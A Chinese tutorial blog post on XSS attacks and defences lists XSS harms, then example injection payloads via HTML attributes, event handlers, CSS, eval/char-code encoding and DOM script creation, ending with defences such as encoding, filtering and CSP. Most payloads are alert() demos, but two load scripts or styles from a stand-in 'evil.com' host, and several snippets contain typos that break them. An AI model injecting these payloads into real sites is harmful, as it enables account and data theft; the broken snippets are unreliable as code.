Web前端安全——XSS攻击与防御

跨站脚本攻击简称 XSS (Cross-Site Scriptting),是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

XSS攻击的危害:

1、盗取各类用户帐号权限(控制所盗窃权限数据内容),如机器登录帐号、用户网银帐号、各类管理员帐号

2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

3、基于XSS的跨站业务请求(如:非法转账、非法下单、非法转载/发表内容、发送电子邮件、利用管理员身份提权挂马、控制受害者机器向其它网站发起攻击等)

4、形成持久化APT攻击,长期控制网站业务中枢

5、利用跨站业务形成蠕虫病毒式传播

6、劫持网站,劫持后可用于钓鱼、伪装、跳转、挂广告等,属挂马类型

XSS攻击注入方式与示例:

  • 通过html属性构造(src、lowsrc、dynsrc、href、bgsound、action、background……)
    示例:
<img src = "javascript:alert(/xss/)" width = 100>
  • 通过html属性事件构造(onerror, onclick、onmounseover……)
    示例:
1. <img src = "#" onerror = alert(/xss/)>
2. <div onclick = alert(/xss/)></div>
  • 通过css构造(background-img: url、expression、link-href、@import)
    示例:
1. <div style = "background-img: url(javascript:alert

(/xss/));width:exprssion(alert('xss'));"></div>
2. <style>body{background-img: url("javascript:alert('xss')")}</style>
3. <link rel = "stylesheet" href="http://www.evil.com/attack.css">
4. <style>@import "javascript:alert('xss')"</style>
  • 通过JavaScript构造(eval()函数)、ASCII编码
    示例:
1. <script>eval("alert('xss')")</script>
2. <img src = "javascript:eval(String.fromChartCode

(97,108,101,114,116,40,39,88,83,83,39,41))">
  • 基于DOM(常用于有字数限制的输入框)
    示例:
字符串拼接:
<script>a='document.'</script>
<script>a=a+'write("'</script>
<script>a=a+'alert('</script>
<script>a=a+'/xss/)'</script>
<script>a=a+'")'</script>
<script>eval(a)</script>
  • 基于DOM型创建节点(创建document.write()、node.innerHTML、document.createElement……)
    示例:
 1. var b = document.createElement("script");
    b.src = "http://www/evil.com/xss.js";
 2. document.getElementsByTagName("head")[0].appendChild(z);

防御措施:
- 避免使用客户端数据,尽量服务端生成
- JavaScript变量输出时先编码
- XSS过滤(js-xss, http://jsxss.com
- CSP(Content Security Policy)

说明:CSP:通过在http响应头中加入相关指令告知浏览器,被保护页面仅允许加载和执行指令中限制的内容,不满足的资源与内容不执行或被客户端阻断。详见:https://content-security-policy.com

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值